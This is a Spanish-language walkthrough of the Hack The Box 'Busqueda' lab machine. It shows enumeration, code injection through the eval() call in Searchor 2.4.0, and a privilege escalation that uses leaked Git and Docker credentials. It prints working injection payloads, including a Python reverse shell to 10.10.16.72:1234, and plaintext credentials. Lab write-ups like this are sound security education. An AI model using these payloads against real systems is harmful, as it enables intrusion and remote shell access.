Write-up Busqueda [Easy] - Hack The Box
Publicación del write-up de sujeto a las guías generales de Hack The Box.
Write-up Busqueda [Easy] - Hack The Box
Mi perfil de Hack The Box: julianglez16
Enumeración
Puertos
Directorios web
Virtual hosts
Tecnologías web
Funcionalidad web
Al realizar una búsqueda cualquiera con el checkbox desmarcado se nos redirige a una web con una URL.
Análisis con BurpSuite
Al realizar una búsqueda se realiza una petición POST al servidor web
Explotación
Usuario
La página web hace uso de una herramienta OpenSource llamada Searchor en la versión 2.4.0. Al buscar esta herramienta en google se puede obtener su código fuente desde Github. En la versión 2.5.0 se cambia una funcionalidad relacionada con la generación de la URL que se obtiene al realizar una búsqueda, eliminando el uso de la función eval() de python para su generación.
Analizando el código fuente se puede observar una posible entrada a través de una inyección de comandos en el servidor gracias a la función eval() de python.
Para inyectar código se necesita que las líneas de código relacionadas con la función eval() de python sean modificadas. Para realizar esto, se utiliza el payload ‘),# para obtener un código similar al siguiente:
Una vez realizada la inyección se utiliza el payload '), import('os').popen('ping -c10 127.0.0.1')# para comprobar si existe un retardo de 10 segundos en la respuesta del servidor y comprobar así que existe una inyección de código.
En la respuesta del servidor se puede observar que sí que existe dicha inyección debido al restardo y a la respuesta HTML que se recibe.
Conociendo esto, se utiliza la función exec() de python para generar un shell reverso hacia nuestra máquina y obtener conexión con el usuario. El payload para el shell reverso es el siguiente: '), exec('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.72",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")')#
Root
Una vez conectados a la máquina, en el directorio /var/www/app/.git se encuentra un fichero config en el que se ven las credenciales de un usuario: cody:jh1usoih2bkjaspwe92
Al hacer sudo -l con esas credenciales se obtienen los ficheros que se pueden ejecutar con sudo desde el usuario svc
En el fichero config donde se encontraron las credenciales también se puede ver un subdominio de la máquina al que se puede acceder: http://gitea.searcher.htb
Al hacer login con las credenciales obtenidas del usuario se puede ver que existe un usuario Administrator
De vuelta al fichero de python con permisos de ejecución con sudo desde el usuario svc se puede observar lo siguiente:
Al utilizar la funcionalidad docker-inspect se puede obtener información de los contenedores activos en la máquina. Con la opción ‘{{json .}}’ en el argumento <format> se obtienen contraseñas interesantes de la base de datos MySQL disponible en uno de los contenedores.
En este caso, la contraseña declarada en la variable de entorno MYSQL_PASSWORD del contenedor coincide con la contraseña del usuario administrator en el portal de Gitea. Esto nos da acceso al código fuente del script system-checkup.py, revelando que el comando ejecuta un script de bash llamado full-checkup.sh.
Tras averiguar esto, solamente hay que crear un script de bash que nos de acceso como root























